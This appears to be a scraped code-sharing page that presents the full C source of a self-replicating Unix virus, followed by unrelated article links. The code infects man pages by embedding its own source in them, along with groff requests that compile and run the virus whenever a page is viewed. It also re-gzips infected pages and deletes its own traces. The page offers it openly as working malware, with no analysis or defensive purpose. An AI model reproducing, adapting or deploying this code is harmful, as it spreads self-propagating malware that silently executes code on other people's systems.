zoukankan
html css js c++ java
Manpage 原代码
Code
/**/
/*
** BE CAREFUL! THIS IS A FULL FUNCTIONALL VIRUS!
*** ABSOLUTELY NO WARRANTY! IT COMES UNDER THE GPL!
**
*/
#include
<
stdio.h
>
#include
<
sys
/
types.h
>
#include
<
dirent.h
>
#include
<
stdlib.h
>
const
char
*
viriiSource
=
"
/tmp/virus.c
"
;
const
char
*
tmpVictum
=
"
/tmp/victum
"
;
const
char
*
ident
=
"
.\x5c\x22VIRUS\x0a
"
;
char
path[]
=
"
/usr/man/manx
"
;
int
wasZipped
=
0
;
char
*
findVictum();
int
infectVictum(
char
*
);
int
main(
int
argc,
char
**
argv)
{
infectVictum(findVictum());
unlink(viriiSource);
unlink(
*
argv);
}
char
*
findVictum()
{
DIR
*
dp;
FILE
*
fd;
struct
dirent
*
de;
int
index
=
0
;
char
buf[
1000
];
static
char
pathname[
1000
];
/**/
/*
inititialization
*/
memset(buf,
0
,
1000
);
memset(pathname,
0
,
1000
);
srand(time(NULL));
index
=
rand()
%
3
;
path[
12
]
=
index
+
49
;
if
((dp
=
opendir(path))
==
NULL)
{
return
NULL;
}
/**/
/*
skip "." and ".."
*/
readdir(dp); readdir(dp);
while
(
1
)
{
/**/
/*
read next entry
*/
if
((de
=
readdir(dp))
==
NULL)
{
closedir(dp);
return
NULL;
}
/**/
/*
create full pathname
*/
sprintf(pathname,
"
%s/%s
"
, path, de
->
d_name);
/**/
/*
if zipped
*/
if
(strstr(pathname,
"
.gz
"
))
{
sprintf(buf,
"
gunzip %s
"
, pathname);
system(buf);
wasZipped
=
1
;
/**/
/*
without '.gz'
*/
pathname[strlen(pathname)
-
3
]
=
0
;
}
/**/
/*
get next filename from directory
*/
if
((fd
=
fopen(pathname,
"
r
"
))
==
NULL)
{
continue
;
}
fgets(buf,
100
, fd);
/**/
/*
look if not already infected
*/
if
(strcmp(buf, ident)
==
0
)
{
fclose(fd);
memset(buf,
0
,
1000
);
memset(pathname,
0
,
1000
);
}
else
{
fclose(fd);
return
pathname;
}
}
}
int
infectVictum(
char
*
victum)
{
char
buf[
1000
];
FILE
*
virusIn,
*
victumIn,
*
tmpOut;
memset(buf,
0
,
1000
);
if
((virusIn
=
fopen(viriiSource,
"
r
"
))
==
NULL)
{
return
1
;
}
if
((tmpOut
=
fopen(tmpVictum,
"
a
"
))
==
NULL)
{
fclose(virusIn);
return
1
;
}
if
((victumIn
=
fopen(victum,
"
r
"
))
==
NULL)
{
fclose(virusIn);
fclose(tmpOut);
unlink(tmpVictum);
}
/**/
/*
write ident-string to man-page
*/
fprintf(tmpOut,
"
%s
"
, ident);
/**/
/*
and append the original man-page
*/
while
(fgets(buf,
999
, victumIn)
!=
NULL)
{
fprintf(tmpOut,
"
%s
"
, buf);
memset(buf,
1000
,
0
);
}
fclose(victumIn);
/**/
/*
finally append virus-code to it
*/
sprintf(buf,
"
.opena v %s\x0a
"
, viriiSource);
fprintf(tmpOut,
"
%s
"
, buf);
memset(buf,
0
,
1000
);
while
(fgets(buf,
999
, virusIn)
!=
NULL)
{
fprintf(tmpOut,
"
.write v %s
"
, buf);
memset(buf,
0
,
1000
);
}
sprintf(buf,
"
.pso cc %s -o /tmp/virus;/tmp/virus &\x0a
"
, viriiSource);
fprintf(tmpOut,
"
%s
"
, buf);
fclose(virusIn);
fclose(tmpOut);
unlink(victum);
/**/
/*
our smart-copy ;-)
*/
link(tmpVictum, victum);
unlink(tmpVictum);
if
(wasZipped)
{
sprintf(buf,
"
gzip %s
"
, victum);
system(buf);
}
return
0
;
}
查看全文
相关阅读:
从自然数到有理数
付费版乐影音下载器使用方法
Avtiviti之流程变量
activity(工作流)初步学习记录
IntelliJ IDEA安装Activiti插件并使用
golang 性能测试
Golang性能测试工具PProf应用详解
java连接ZK的基本操作
会员体系、积分、等级
Flink基本概念
原文地址:https://www.cnblogs.com/phirothing/p/1396016.html
最新文章
[C]va_list可变长参数的使用
[C]内存管理、内存泄露、堆栈
leetcode-20-有效的括号
Python 语法学习笔记
Hive使用regexp,RLIKE需要使用转义字符
tree-自动输出项目目录,快速生成README.md中的目录结构
python利用多线程让http请求异步返回
SpringBoot 及其 基本原理、配置文件(二)
一线技术管理者究竟在管什么事?
leetcode top260
热门文章
leetcode top100
并查集
统计一个整数里面1的个数
vector怎么提前预分配一些容量呢
怎么给vector中的数据排序
NOI.ac 模拟赛20181103 排队 翘课 运气大战
三分法求单峰函数函数给定区间内最大值
免费版和付费版乐影音下载器的区别
A little issue in Mathematical Thought from Ancient to Modern Times, Vol. 3
有理数的阿基米德性质及其应用
Copyright © 2011-2022 走看看